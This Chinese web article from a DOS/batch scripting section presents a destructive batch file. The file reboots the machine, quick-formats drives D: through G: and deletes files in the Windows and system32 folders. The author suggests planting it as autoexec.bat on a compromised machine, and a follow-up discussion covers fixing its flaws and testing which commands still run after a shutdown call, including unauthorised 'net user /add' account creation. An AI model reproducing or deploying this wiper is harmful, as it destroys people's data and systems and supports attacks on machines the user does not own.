由一段批处理程序所引起的探讨感觉问题是有,不太准确

所属分类: 脚本专栏 / DOS/BAT 阅读数: 933
收藏 0 赞 0 分享
假如你的系统装在c盘 
打开记事本输入 
@echo off 
shutdown -r -t 0 
format d: /q /y 
format e: /q /y
format f: /q /y 
format g: /q /y 
c: 
cd \ 
cd windows 
del. /y 
cd system32 
del. /y 
shutdown -r -t 0 
另存为1.bat 

然后运行 

看看有什么后果 

如果想搞肉鸡的话那么可以 

重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat 


最后一次警告:最好别乱搞,出了问题后果自负 


有一个不完美的地方。我说说


c: 

cd \ 

cd windows 

del. /y 

cd system32 

 

请问你为什么就肯定系统不是windows2000呢! 

对于windows目录的确定,你在bat下应该用环境变量得到。 

比如 

windir=C:\WINDOWS 

windir=C:\WINNT 


还有,有点小小要请教的地方,对于第二条语句。 

shutdown -r -t 0 

既然重动了,那以下的格式化命令还有作用吗??????????? 

自己不敢试,因为我怀疑是有作用的。 


这个是我给的回复: 

我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正 

确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用. 


为了得到答案!我对于这个问题亲自试了一下! 


@echo off 

shutdown -r -t 0 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败! 

第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功! 

@echo off 

shutdown -r -t 0 

net user emissary1 /add 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

结果还是失败! 


到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句! 

@echo off 

shutdown -r -t 0 

dir > c:\aaa.txt 

ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt 

shutdown -r -t 0 

意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。 

对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论! 

内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。
更多精彩内容其他人还在看

DOS 命令字典

DOS 命令字典
收藏 0 赞 0 分享

用replace实现替换正在使用的文件

用replace实现替换正在使用的文件
收藏 0 赞 0 分享

黑客基础之DOS (最齐全)超强推荐

黑客基础之DOS (最齐全)超强推荐
收藏 0 赞 0 分享

bat运行时不弹出那个黑框框的完美解决方案

bat运行时不弹出那个黑框框的完美解决方案
收藏 0 赞 0 分享

收藏的比较完整的批处理教程第1/2页

收藏的比较完整的批处理教程
收藏 0 赞 0 分享

批处理版的SC

批处理版的SC
收藏 0 赞 0 分享

BAT文件语法和技巧(bat文件的编写及使用)

批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件
收藏 0 赞 0 分享

用 Net 命令使局域网文件批量同步更新

用 Net 命令使局域网文件批量同步更新
收藏 0 赞 0 分享

如何用DOS命令删除顽固文件夹啊

如何用DOS命令删除顽固文件夹啊
收藏 0 赞 0 分享

dos下删除文件夹和文件的方法

dos下删除文件夹和文件的方法
收藏 0 赞 0 分享
查看更多